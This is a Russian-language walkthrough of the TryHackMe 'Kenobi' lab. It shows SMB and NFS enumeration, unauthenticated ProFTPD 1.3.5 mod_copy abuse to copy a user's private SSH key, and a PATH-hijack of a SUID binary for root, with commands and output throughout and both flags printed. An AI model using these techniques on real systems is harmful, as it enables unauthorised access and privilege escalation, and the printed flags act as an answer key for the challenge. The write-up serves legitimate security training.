

Kenobi — TryHackMe

pwnboberry

Май 2026

Задание 1: Развёртывание уязвимой машины

Nmap сканирование

`nmap -sC -sV 10.114.156.150`

```
(mrhacker@Kali)-[~/Desktop]
$ sudo nmap -sC -sV 10.114.156.150
[sudo] password for mrhacker:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-02 12:18 MSK
Stats: 0:00:13 elapsed; 0 hosts completed (1 up)
```

Nmap обнаружил **7 открытых портов** на целевой машине.

Вопрос: Scan the machine with nmap, how many ports are open?

Ответ: 7

Задание 2: Перечисление (SMB)

Команда `nmap -p 445 --script=smb-enum-shares.nse 10.114.156.150` не сработала должным образом

```
(mrhacker@Kali)-[~/Desktop]
$ sudo nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.114.156.150
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-02 12:18 MSK
Nmap scan report for 10.114.156.150
Host is up (0.093s latency).

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
```

Поэтому мы использовали более надёжную альтернативу: `smbclient -L //10.114.156.150 -N`

```
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds

(mrhacker@Kali)-[~/Desktop]
$ smbclient -L //10.114.156.150 -N

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
anonymous$     Disk
IPC$           IPC       IPC Service (kenobi server)
Reconnecting with SMB1 for workgroup listing.
```

Вопрос: Using the nmap command above, how many shares have been found?

Ответ: 3

Подключились к анонимной шаре и с помощью ls и нашли файл log.txt.

```
(mrhacker@Kali)-[~/Desktop]
$ smbclient //10.114.156.150/anonymous
Password for [WORKGROUP\mrhacker]:
Try "help" to get a list of possible commands.
smb: \>
```

Чтобы не усложнять жизнь сложными командами, скачали файл через get

```
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (23.1 KiloBytes/sec) (average 23.1 KiloBytes/sec)
smb: \> exit
```

После получения файла log.txt его содержимое было прочитано с помощью cat. Анализ выявил информацию об FTP-сервисе, включая порт, на котором он работает.

```
30 DefaultServer      on
31
32 # Port 21 is the standard FTP port.
33 Port                21
34
```

Вопрос: What port is FTP running on?

Ответ: 21

Для перечисления NFS-ресурсов использовали команду:

`nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.114.156.150`

```
PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-statfs:
|_ Filesystem 1K-blocks  Used      Available  Use%  Maxfilesize  Maxlink
|_ /var       9183416.0  5701188.0  2991632.0  66%   16.0T        32000
| nfs-showmount:
|_ /var *
| nfs-ls: Volume /var
```

Вопрос: What mount can we see?

Ответ: /var

Задание 3: : Эксплуатация ProFTPD

Определение версии ProFTPD

```
(mrhacker@Kali)-[~/Desktop]
$ nc 10.114.156.150 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.114.156.150]
```

Вопрос: What is the version?

Ответ: 1.3.5

Поиск эксплойтов через searchsploit

```
msf > searchsploit ProFTPD 1.3.5
[*] exec: searchsploit ProFTPD 1.3.5
```

Exploit Title	Path
ProFTPD 1.3.5 - 'mod_copy' Command Execution (Metasploit)	linux/remote/37262.rb
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution	linux/remote/36803.py
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution (2)	linux/remote/49908.py
ProFTPD 1.3.5 - File Copy	linux/remote/36742.txt

```
Shellcodes: No Results
```

Вопрос: How many exploits are there for the ProFTPD running?

Ответ: 4

Анализ модуля mod_copy

ProFTPD версии 1.3.5 включает модуль mod_copy, который реализует команды SITE CPFR (копировать из) и SITE CPTO (копировать в). Эти команды позволяют неаутентифицированному пользователю копировать файлы из любого места файловой системы в выбранное место назначения.

Аутентификация не требуется.

```
(mrhacker@Kali)-[~/Desktop]
$ nc 10.114.156.150 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.114.156.150]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

Копирование SSH-ключа Kenobi

```
(mrhacker@Kali)-[~/Desktop]
$ cp /mnt/kenobiNFS/tmp/id_rsa /home/mrhacker/Desktop

(mrhacker@Kali)-[~/Desktop]
$ chmod 600 id_rsa

(mrhacker@Kali)-[~/Desktop]
$ ssh -i id_rsa kenobi@10.114.156.150
```

```
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$
```

Вопрос: What is Kenobi's user flag?

Ответ: `d0b0f3f53b6caa532a83915e19224899`

Задание 4: Повышение привилегий через SUID

Поиск SUID-файлов

```
find / -perm -u=s -type f 2>/dev/null
```

```
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/su
```

Вопрос: What file looks particularly out of the ordinary?

Ответ: `/usr/bin/menu`

Анализ бинарного файла

Запустили бинарник:

```
kenobi@kenobi:~$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
```

Вопрос: Run the binary, how many options appear?

Ответ: 3

Эксплуатация — манипуляция PATH

```
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo "/bin/sh">curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
# cat /root/root.txt
```

Мы получили доступ от root и можем искать root-флаги

```
# cd /root
# ls
root.txt  snap
# cat root.txt
177b3cd8562289f37382721c28381f02
#
```

Вопрос: What is the root flag (/root/root.txt)?

Ответ: 177b3cd8562289f37382721c28381f02